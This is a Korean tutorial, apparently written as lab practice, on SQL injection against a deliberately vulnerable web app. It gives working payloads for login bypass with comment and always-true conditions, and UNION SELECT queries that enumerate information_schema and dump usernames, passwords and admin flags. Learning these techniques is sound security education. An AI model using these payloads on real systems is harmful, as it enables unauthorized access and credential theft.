SQL Inejction이란 공격자가 웹 애플리케이션의 입력 필드에 악성 SQL 코드를 주입하여 데이터베이스를 조작할 수 있게 하는 보안 취약점이다.
웹앱의 동작을 생각해보면 웹앱과 DB는 결국 SQL로 대화한다. 즉, 반대로 SQL을 조작하면 웹앱을 조작할 수 있다는 것이다.
자, 그럼 SQLi의 접근을 살펴보자
입력 필드(텍스트박스, URL 파라미터)에 싱글 쿼테이션(') 삽입하면서 에러가 발생하는지 확인해본다.

예를들어서 로그인 페이지에서 (') 싱글 쿼트를 비밀번호로 입력해서 제출하면

이러한 에러메시지를 받게 된다. 에러메시지를 맵핑하지 않고 SQL 에러가 그대로 나오는 경우, 쿼리 구조를 추측할 수 있게 된다.
SELECT * FROM accounts WHERE username='$username' AND password='$password'
이미 서버 내부에서 쿼리에 싱글쿼트를 붙이기 때문에 인풋에 싱글쿼트를 넣으면 에러가 나는 것이다. 즉, 입력이 문자열 컨텍스트로 들어간다는 사실을 확인했다.
그럼 이제 로그인 시도를 해보자 현재 계정의 비밀번호는 1234로 되어 있다.
SELECT * FROM accounts WHERE username='dongha' and password='1234'
이러한 정상적인 SQL에 and 1=1 # 을 추가로 붙인다
SELECT * FROM accounts WHERE username='dongha' and password='1234' and 1=1#'
입력값이 DB쿼리에 섞여가는 점을 통해 1=1은 무조건 참이기 때문에 로그인을 우회가 가능해진다!
위 같은 상황이 가능하다는 것은, 쿼리를 다른 ID에 비밀번호가 틀리더라도 or 1=1#'으로 해줘서 참을 만들어버리면 로그인이 되는 불상사가 발생한다.
위 침투들이 다 성공했다면 입력값이 SQL 문자열에 그대로 붙는 것 확인했다. 그럼 아래와 같은 상황도 생겨버린다

아이디와 '#를 붙인다. # 주석을 이용하여 WHERE 조건을 내가 원하는 형태로 끊어버리는 것이다! 이렇게 하며 아무런 비밀번호를 쳐도
SELECT * FROM accounts WHERE username = 'dongha' #'
이렇게 쿼리가 나가면서 로그인이 된다

유저 정보를 조회하는 페이지가 있다고 가정하자. 유저 정보가 GET은 URL에 page.php?param=value처럼 값이 그대로 노출되는 상황이다.
이러한 상황에서 URL에서 username=... 같은 값을 꺼내서 쿼리 문자열을 그대로 이어붙여서 만들고 DB에 실행할 수 있는 문제가 생긴다. 예제를 실습해보자.
전략은 이러하다 UNION으로 원래 결과과 내 결과를 합쳐서 화면에 띄우는 방법을 사용한다.

가령 URL에 union select 1,2,3,4,5와 같은 구문을 넣어서

내 정보 외에도 컬럼 2,3,4 위치에 삽입된 값까지 출력된다. 이를 통해 삽입한 값이 화면에 표시되는 컬럼의 위치가 2,3,4번이라는 것을 유추할 수 있다.
2,3,4번 컬럼이 화면에 보인다는 것을 알았으니 정보를 뽑아보자.
union select 1,datebase(),user(),version(),5
이번엔 이렇게 구체적으로 값을 읽어올 수 있는 함수를 넣는다.
...index.php?page=user-info.php&username=dongha' union select 1,database(),user(),version(), 5%23&password=12345&user-info-php-submit-button=View+Account+Details
그리고 URL을 실행하면

데이터베이스 정보가 출력되어버린다! (실행이 제대로 안되어 다른 예제 참고)

이러한 DB 구조를 URL에서 테스트해보면서 파악하고, UNION SELECT을 통해서 2, 3, 4 위치의 컬럼이 화면에 출력된다는 것을 알고 역으로 데이터베이스의 정보를 GET으로 가져와버린 것이다.
지금은 root로 붙어있어서 다른 DB까지 보이는데 실무에선 이러하지 않는다. 실습일뿐...
데이터베이스 정보를 알았으니 하나씩 좁혀가면 된다
...' union select 1,table_name,null,null, 5 from information_schema.tables %23&...

information_schema를 이용하여 전체 테이블을 불러오고
...' union select 1,table_name,null,null, 5 from information_schema.tables where table_schema = 'owasp10'...
where로 지정해서 해당 DB에 있는 모든 테이블들을 출력한다.

...' union select 1,column_name,null,null,5 from information_schema.columns where table_name='accounts' %23...
위에서 찾은 테이블 이름을 이용하여 테이블 열을 가져온다

' union select 1,username,password,is_admin,5 from accounts %23
이런 식으로 URL 에 UNION SELECT문을 끼어넣고 계속 좁히다보면 민감한 정보까지 조회할 수 있게 된다.

그렇다면 SQLi 취약점을 미리 발견하려면 어떻게 해야할까?